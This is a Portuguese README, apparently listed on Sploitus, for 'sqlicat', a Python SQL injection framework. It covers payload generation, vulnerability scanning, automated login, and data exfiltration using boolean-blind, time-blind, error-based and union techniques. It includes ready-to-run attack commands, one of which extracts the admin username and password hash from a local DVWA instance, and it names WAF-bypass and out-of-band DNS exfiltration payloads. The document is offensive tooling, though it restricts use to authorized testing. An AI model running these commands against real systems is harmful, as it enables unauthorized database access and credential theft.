Sploitus

Exploit for sqlicat

githubexploit · 2026-08-11

Exploit Code

README472 lines
## https://sploitus.com/exploit?id=73790A46-B026-5E87-8E86-DCB84186E6AC
# sqlicat

**Framework de SQL Injection em Python puro (stdlib) — geração de payloads,
execução de ataques (detecção + exfiltração), sessão/login automáticos e
integração com bases de conhecimento (ExploitDB, NVD/NIST, CIRCL).**

Versão 1.3.0 · Licença AGPL V3 · Python ≥ 3.10 · Zero dependências de terceiros

> ⚠️ **Uso restrito a alvos com autorização explícita** — laboratórios próprios,
> ambientes de teste (DVWA, WebGoat, sqli-labs...) e engajamentos de pentest
> contratados por escrito. Rodar isto contra sistemas de terceiros sem
> autorização é crime na maioria das jurisdições. Você é o único responsável
> pelo uso desta ferramenta.

---

## Sumário

- [O que é](#o-que-é)
- [Instalação](#instalação)
- [Uso rápido](#uso-rápido)
- [Referência completa do CLI](#referência-completa-do-cli)
  - [`list`](#sqlicat-list)
  - [`payload`](#sqlicat-payload)
  - [`scan`](#sqlicat-scan)
  - [`attack`](#sqlicat-attack)
  - [`exploitdb`](#sqlicat-exploitdb)
  - [`cve`](#sqlicat-cve)
- [Sessão automática (login, cookies, parâmetros extras)](#sessão-automática-login-cookies-parâmetros-extras)
- [Arsenal de payloads](#arsenal-de-payloads)
- [Arquitetura](#arquitetura)
- [Testes](#testes)
- [Desenvolvimento](#desenvolvimento)
- [Solução de problemas](#solução-de-problemas)
- [Fontes das integrações](#fontes-das-integrações)

---

## O que é

`sqlicat` é um framework de linha de comando para pesquisa e testes de SQL
Injection, escrito inteiramente em Python padrão — sem `requests`, sem
`beautifulsoup`, sem nenhuma dependência externa em tempo de execução. Ele
cobre três frentes:

1. **Geração de payloads** — um arsenal de 11 payloads cobrindo UNION,
   boolean-blind, time-blind, error-based, stacked queries, out-of-band,
   bypass de WAF e second-order, prontos para uso ou como referência.
2. **Execução de ataques** — envia os payloads a um alvo HTTP real, detecta
   sinais de vulnerabilidade (assinatura de erro, diferença booleana,
   latência) e exfiltra dados byte a byte (boolean/time-blind), via erro
   (XPATH) ou via UNION.
3. **Automação de sessão** — autentica sozinho em formulários HTML (extrai
   token CSRF, faz login, mantém cookies), sem precisar copiar nada do
   navegador manualmente.
4. **Inteligência de vulnerabilidades** — consulta ExploitDB (via
   `searchsploit`), NVD/NIST (API 2.0) e CIRCL (com fallback automático
   entre as duas últimas) para cruzar achados com CVEs e exploits públicos.

A arquitetura segue os princípios SOLID deliberadamente (veja
[Arquitetura](#arquitetura)) e todo o desenvolvimento segue TDD: a suíte tem
**179 testes e 100% de cobertura**, organizados como uma pirâmide
unit → integration → e2e.

---

## Instalação

Requer Python 3.10+. Não há dependências de runtime — apenas stdlib.

```bash
pip install -e .
```

Para desenvolvimento (inclui `pytest` e `pytest-cov`):

```bash
pip install -e '.[dev]'
```

Isso instala o comando `sqlicat` no seu `PATH` (via `[project.scripts]`) e
o pacote fica importável como `import sqlicat`.

> **Nota (Windows sem Python nativo instalado):** se o único Python
> disponível é dentro do WSL, instale e rode tudo por lá — o `venv` criado
> dentro do WSL não é utilizável a partir de um PowerShell nativo (não tem
> `Scripts\python.exe`). Ative o ambiente virtual e rode os comandos
> normalmente de dentro do WSL:
> ```bash
> source venv/bin/activate
> sqlicat list
> ```
> Isso não é uma limitação do sqlicat — é só como `venv` funciona quando
> criado em um sistema de arquivos diferente do que vai executá-lo.

Duas dependências são **opcionais** e só entram em cena se você usar
funcionalidades específicas:

- `searchsploit` (pacote `exploitdb`) — necessário só para `sqlicat exploitdb`.
- Nenhuma outra. `cve`, `scan` e `attack` usam `urllib` puro.

---

## Uso rápido

```bash
sqlicat list                                  # lista os 11 payloads
sqlicat payload union-data --json             # gera 1 payload com metadados

sqlicat scan http://localhost:8080/item.php --param id

sqlicat attack http://localhost:8080/item.php --param id \
    --technique boolean --column table_name --schema "DATABASE()"

sqlicat exploitdb "WordPress sql injection"
sqlicat cve --id CVE-2021-44228
```

---

## Referência completa do CLI

Todos os subcomandos que falam com um alvo (`scan`, `attack`) compartilham um
conjunto comum de flags de transporte/sessão — descritas uma vez aqui e
referenciadas nas seções seguintes.


**Flags comuns a `scan` e `attack`:**

| Flag | Padrão | Descrição |
|---|---|---|
| `url` (posicional) | — | URL do alvo |
| `--method` | `GET` | `GET` ou `POST` |
| `--param` | — | nome do parâmetro vulnerável (query string ou body) |
| `--extra-param KEY=VALUE` | — | parâmetro fixo adicional em toda requisição, repetível (ver [Sessão automática](#sessão-automática-login-cookies-parâmetros-extras)) |
| `--proxy` | — | proxy HTTP/HTTPS (ex.: `http://127.0.0.1:8080` para interceptar no Burp) |
| `--timeout` | `10.0` | timeout por requisição, em segundos |
| `--header KEY:VALUE` | — | cabeçalho HTTP adicional, repetível |
| `--cookie KEY=VALUE` | — | cookie fixo, repetível |
| `--login-url` | — | URL do formulário de login; se presente, autentica antes de rodar |
| `--login-user` / `--login-pass` | — | credenciais (obrigatórias se `--login-url` for usado) |
| `--login-user-field` / `--login-pass-field` | `username` / `password` | nomes dos campos do formulário |
| `--login-extra KEY=VALUE` | — | campo fixo extra do formulário de login, repetível |

Se `--param` não for informado, use `{payload}` em algum ponto da URL (ex.:
`http://x/{payload}/item.php`) — útil para injeção em segmentos de path.

### `sqlicat list`

Lista o arsenal de 11 payloads.

```bash
sqlicat list                 # tabela resumida
sqlicat list --verbose       # + raw SQL e descrição de cada payload
sqlicat list --json          # JSON completo (nome, técnica, dbms, raw, meta)
```

### `sqlicat payload `

Gera um payload específico pelo nome (veja a tabela em
[Arsenal de payloads](#arsenal-de-payloads)).

```bash
sqlicat payload union-data
sqlicat payload boolean-binary-search --json
```

Sai com código 1 e mensagem em stderr se o nome não existir.

### `sqlicat scan`

Testa **todos** os payloads do arsenal (ou um específico) contra o alvo e
reporta quais dispararam algum sinal de vulnerabilidade.

```bash
sqlicat scan http://localhost:8080/item.php --param id
sqlicat scan http://localhost:8080/item.php --param id \
    --payload error-extractvalue --threshold 3.0
```

| Flag | Padrão | Descrição |
|---|---|---|
| `--payload` | — | nome específico do arsenal (senão testa os 11) |
| `--threshold` | `3.0` | limiar de latência (segundos) para o detector time-based |

A detecção combina três sinais independentes (`ErrorSignatureDetector`,
`BooleanDetector`, `TimeBasedDetector`) — qualquer um que dispare marca o
payload como `!! VULNERÁVEL`, com a evidência impressa abaixo da linha.

### `sqlicat attack`

Exfiltra dados de verdade, usando uma das quatro técnicas de extração.

```bash
sqlicat attack  --param id --technique  [opções]
```

| Flag | Padrão | Usado por | Descrição |
|---|---|---|---|
| `--technique` | *obrigatório* | — | `boolean`, `time`, `error` ou `union` |
| `--expr` | `database()` | error, union | expressão SQL a extrair (CSV em `union`) |
| `--column` | `table_name` | boolean | coluna a extrair via `information_schema` |
| `--schema` | `DATABASE()` | boolean | expressão de schema |
| `--delay` | `3` | time | segundos de `SLEEP` por candidato |
| `--threshold` | `2.0` | time | latência mínima (s) para considerar "verdadeiro" |
| `--length` | `32` | time | nº de posições a testar |
| `--columns` | `3` | union | nº de colunas da query original |

**Boolean-blind** — busca binária por ASCII, posição a posição:
```bash
sqlicat attack http://x/item.php --param id --technique boolean \
    --column table_name --schema "DATABASE()"
```

**Time-blind** — quando não há diferença visível na resposta, só na latência
(mais lento: 1 requisição por candidato testado):
```bash
sqlicat attack http://x/item.php --param id --technique time \
    --delay 3 --threshold 2.0 --length 20
```

**Error-based** — abusa de `ExtractValue`/XPATH do MySQL para vazar dados
direto na mensagem de erro:
```bash
sqlicat attack http://x/item.php --param id --technique error \
    --expr "SELECT GROUP_CONCAT(table_name) FROM information_schema.tables"
```

**Union-based** — expressões arbitrárias em colunas escolhidas via UNION:
```bash
sqlicat attack http://x/item.php --param id --technique union \
    --expr "DATABASE(),VERSION()" --columns 4
```

Resultado sempre impresso como JSON em stdout.

### `sqlicat exploitdb`

Consulta o ExploitDB local via `searchsploit` (requer o binário instalado —
veja [Solução de problemas](#solução-de-problemas)).

```bash
sqlicat exploitdb "WordPress sql injection"
sqlicat exploitdb --cve CVE-2021-41773
sqlicat exploitdb "apache" --binary /opt/exploitdb/searchsploit
```

### `sqlicat cve`

Consulta CVEs na NVD API 2.0, com fallback automático para CIRCL se a NVD
falhar ou não retornar o CVE.

```bash
sqlicat cve --id CVE-2021-44228              # 1 CVE específico
sqlicat cve --limit 20                       # CVEs de SQLi mais recentes (NVD)
NVD_API_KEY=xxx sqlicat cve --id CVE-2021-44228 --nvd-key "$NVD_API_KEY"
```

`--nvd-key` lê a env var `NVD_API_KEY` por padrão. Sem chave, a NVD limita a
~5 requisições/30s; com chave, ~50/30s.

---

## Sessão automática (login, cookies, parâmetros extras)

A maioria dos alvos reais não é um formulário anônimo isolado — tem login,
CSRF token, cookie de configuração, botão de submit exigido. `scan` e
`attack` cuidam disso sozinhos, sem passo manual no navegador.

**Como funciona:**

- `HttpRequester` mantém um **cookie jar real** (`http.cookiejar`) por trás
  de cada instância. Qualquer `Set-Cookie` recebido — de um login ou de
  qualquer outra resposta — é automaticamente reenviado nas chamadas
  seguintes.
- `--login-url` + `--login-user` + `--login-pass` disparam um handshake
  completo: `GET` na página de login (extraindo qualquer
  ``, ex.: token CSRF, via `html.parser` puro — sem
  parser HTML de terceiros), depois `POST` das credenciais mescladas com
  os campos hidden encontrados. A sessão resultante já vale para as
  requisições de `scan`/`attack` que vêm a seguir.
- `--cookie` seta cookies fixos que não vêm do formulário de login (ex.:
  uma flag de nível de segurança do próprio alvo).
- `--extra-param` inclui um parâmetro fixo em **toda** requisição, ao lado
  do parâmetro injetável — necessário sempre que o alvo só executa a query
  na presença de um campo companheiro (o caso mais comum: o `name` do botão
  de submit do formulário).

**Exemplo completo, contra um DVWA local (`docker run --rm -d -p 8081:80
vulnerables/web-dvwa`), do zero ao ataque, sem tocar no navegador:**

```bash
sqlicat scan http://localhost:8081/vulnerabilities/sqli/ --param id \
    --extra-param Submit=Submit \
    --cookie security=low \
    --login-url http://localhost:8081/login.php \
    --login-user admin --login-pass password --login-extra Login=Login

sqlicat attack http://localhost:8081/vulnerabilities/sqli/ --param id \
    --extra-param Submit=Submit --cookie security=low \
    --login-url http://localhost:8081/login.php \
    --login-user admin --login-pass password --login-extra Login=Login \
    --technique union \
    --expr "(SELECT user FROM users LIMIT 1),(SELECT password FROM users LIMIT 1)" \
    --columns 2
# -> ["admin", "5f4dcc3b5aa765d61d8327deb882cf99"]  (md5 do password padrão do DVWA)
```

> Nomes de coluna soltos em `--expr` (ex.: `user,password`) não funcionam sem
> uma cláusula `FROM` — o MySQL não sabe de qual tabela puxá-los dentro de um
> ramo de `UNION`. Envolva em subquery: `(SELECT coluna FROM tabela LIMIT 1)`.

Falhas de login (credenciais erradas, alvo inalcançável) terminam com uma
mensagem curta em stderr e código de saída 1 — nunca um traceback bruto.

---

## Arsenal de payloads

| # | Nome | Técnica | DBMS |
|---|---|---|---|
| 1 | `union-hex-literal` | UNION-based (literal hex sem aspas) | MySQL |
| 2 | `boolean-binary-search` | Boolean blind (busca binária ASCII) | MySQL/Postgres/Oracle |
| 3 | `time-conditional` | Time-based (SLEEP/pg_sleep/WAITFOR) | MySQL/Postgres/MSSQL |
| 4 | `error-extractvalue` | Error-based XPATH (`~dado~`) | MySQL |
| 5 | `stacked-dml` | Stacked queries (DML/OUTFILE) | MySQL/MSSQL/Postgres |
| 6 | `oob-dns-exfil` | Out-of-band DNS (LOAD_FILE/xp_dirtree) | MySQL/MSSQL |
| 7 | `comment-fragmentation-bypass` | Bypass de WAF via `/**/` | MySQL/MSSQL/Postgres |
| 8 | `versioned-comment-bypass` | `/*!50000UNION*/` | MySQL |
| 9 | `second-order-stored` | Second-order (valor armazenado) | multi |
| 10 | `double-url-encoding-chain` | Encoding em camadas (bypass de WAF) | multi |
| 11 | `union-data` | UNION genérico de extração | multi |

Cada payload é um `PayloadBuilder` independente (`sqlicat/payloads/builders.py`) —
adicionar um novo payload é criar uma classe nova e registrá-la em
`DEFAULT_BUILDERS`; nenhum código existente precisa mudar (OCP).

---

## Arquitetura

Sem dependências externas, sem framework web, sem ORM — só `urllib`,
`http.cookiejar`, `html.parser` e `subprocess` da stdlib. O pacote é dividido
em camadas; o domínio não faz I/O e os adaptadores externos dependem dos
contratos internos:

```
sqlicat/
├── domain/
│   ├── models.py          value objects imutáveis e relatórios
│   └── contracts.py       portas: Requester, SignalDetector, Encoder, PayloadBuilder
├── payloads/
│   ├── encoders.py        estratégias de ofuscação + EncodingChain (Composite)
│   └── builders.py        11 builders + PayloadFactory
├── detection/
│   ├── detectors.py       detectores de erro/boolean/time + AnyOf/AllOf
│   └── tester.py          orquestra payload, resposta e detectores
├── attacks/
│   └── extractors.py      extração boolean/time/error/union via porta Requester
├── infrastructure/
│   ├── http.py            urllib, cookie jar, login e parâmetros extras
│   ├── exploitdb.py       adaptador local para searchsploit
│   ├── cve.py             clientes NVD/CIRCL e fallback de CVE
│   └── knowledge_base.py  fachada consolidada
├── cli.py                 composição e roteamento argparse
└── __init__.py            fachada pública estável (`from sqlicat import X`)
```

**Direção das dependências:**

```
cli.py
  ├──► attacks ─────► payloads ──┐
  ├──► detection ────────────────┼──► domain (models + contracts)
  ├──► payloads ─────────────────┤
  └──► infrastructure ───────────┘
```

O ponto chave de design: `attacks.extractors` e `detection.tester` dependem da
abstração `Requester` (`send(payload) -> Response`) — nunca de `HttpRequester`
diretamente. `infrastructure.http` é apenas um adaptador dessa porta. Isso
permite testar ataques e detecção offline com fakes/servidores locais e manter
sessão, cookies e login isolados da lógica de domínio.

---

## Testes

```bash
python -m pytest -v          # suíte completa, offline, ~10s
```

**179 testes, 100% de cobertura** (`--cov-fail-under=99` configurado em
`pyproject.toml`), organizados como pirâmide via `pytest.mark`:

| Camada | Arquivos | O quê |
|---|---|---|
| **unit** (base) | `tests/domain/`, `tests/payloads/`, `tests/detection/`, `tests/attacks/`, `tests/infrastructure/`, `test_cli.py`, `test_package.py` | uma classe/função por vez, dependências substituídas (fakes/mocks) |
| **integration** | `tests/integration/test_pipeline.py` | componentes reais compostos entre si — `HttpRequester` real + detectores/extratores reais; sessão/cookie/login testados contra servidores HTTP locais reais em loopback (não mockados, porque mockar `OpenerDirector.open` pula toda a cadeia de handlers do `urllib`, inclusive o processamento de cookies) |
| **e2e** (topo) | `tests/e2e/test_cli_e2e.py` | `python -m sqlicat.cli` via subprocess real, pacote instalado ponta a ponta |

Rodar só uma camada:

```bash
python -m pytest -m unit
python -m pytest -m integration
python -m pytest -m e2e
```

Tudo determinístico e offline — os testes de integração/sessão sobem um
`http.server.ThreadingHTTPServer` real em `127.0.0.1` numa porta efêmera,
não fazem nenhuma chamada de rede externa.

---

## Desenvolvimento

O projeto segue TDD estritamente: toda mudança de comportamento começa por
um teste que falha pela razão certa, depois a implementação mínima para
passar, depois refatoração. Antes de abrir um PR:

1. Escreva o teste primeiro (unit se possível; integration se envolver
   composição real de componentes; e2e só se for algo que só se prova via
   subprocess).
2. `python -m pytest -v` — precisa ficar verde com 100% (ou justificar
   explicitamente por que uma linha específica é inatingível).
3. Releia contra SOLID: uma classe nova faz *uma* coisa? Ela depende de
   abstrações (`Requester`, `SignalDetector`, `PayloadBuilder`, `Encoder`) ou
   de implementações concretas? Um `PayloadBuilder`/`Encoder` novo não deveria
   exigir mudar nenhum código existente (OCP).
4. Sem dependências de runtime novas — o projeto é stdlib pura por decisão de
   design, não por acidente.

Estrutura de pacote: código em `sqlicat/`, testes em `tests/` (mesma raiz do
repositório). `pip install -e '.[dev]'` deixa tudo pronto.

---

## Solução de problemas

**`ExploitDbError: binário 'searchsploit' não encontrado no PATH`**
`searchsploit` não é instalado por padrão. No Kali: `apt install exploitdb`.
Em outros sistemas: clone `gitlab.com/exploit-database/exploitdb` e aponte
`--binary /caminho/para/searchsploit`.

**`erro: login falhou: `**
`--login-url` está incorreta ou o alvo está fora do ar/inalcançável a partir
de onde o `sqlicat` está rodando. Confirme com `curl` primeiro.

**`scan` não marca nada como vulnerável, mas eu sei que o alvo é vulnerável**
Duas causas comuns:
- Falta autenticação/sessão — veja [Sessão automática](#sessão-automática-login-cookies-parâmetros-extras).
- O alvo exige um parâmetro companheiro (ex.: nome do botão de submit) para
  sequer executar a query — use `--extra-param`. Este é exatamente o caso do
  DVWA (`Submit=Submit`).

**NVD retorna poucos resultados ou erro 403**
Sem `NVD_API_KEY`, o limite é ~5 requisições/30s. Gere uma chave gratuita em
nvd.nist.gov e passe via `NVD_API_KEY` ou `--nvd-key`.

**Rodando em Windows sem Python nativo**
Veja a nota em [Instalação](#instalação) — use o Python de dentro do WSL.

---

## Fontes das integrações

- **NVD API 2.0** — https://services.nvd.nist.gov/rest/json/cves/2.0
- **CIRCL** — https://cve.circl.lu/api (sem autenticação; usado como fallback
  quando a NVD falha ou não tem o CVE)
- **ExploitDB / searchsploit** — https://www.exploit-db.com/searchsploit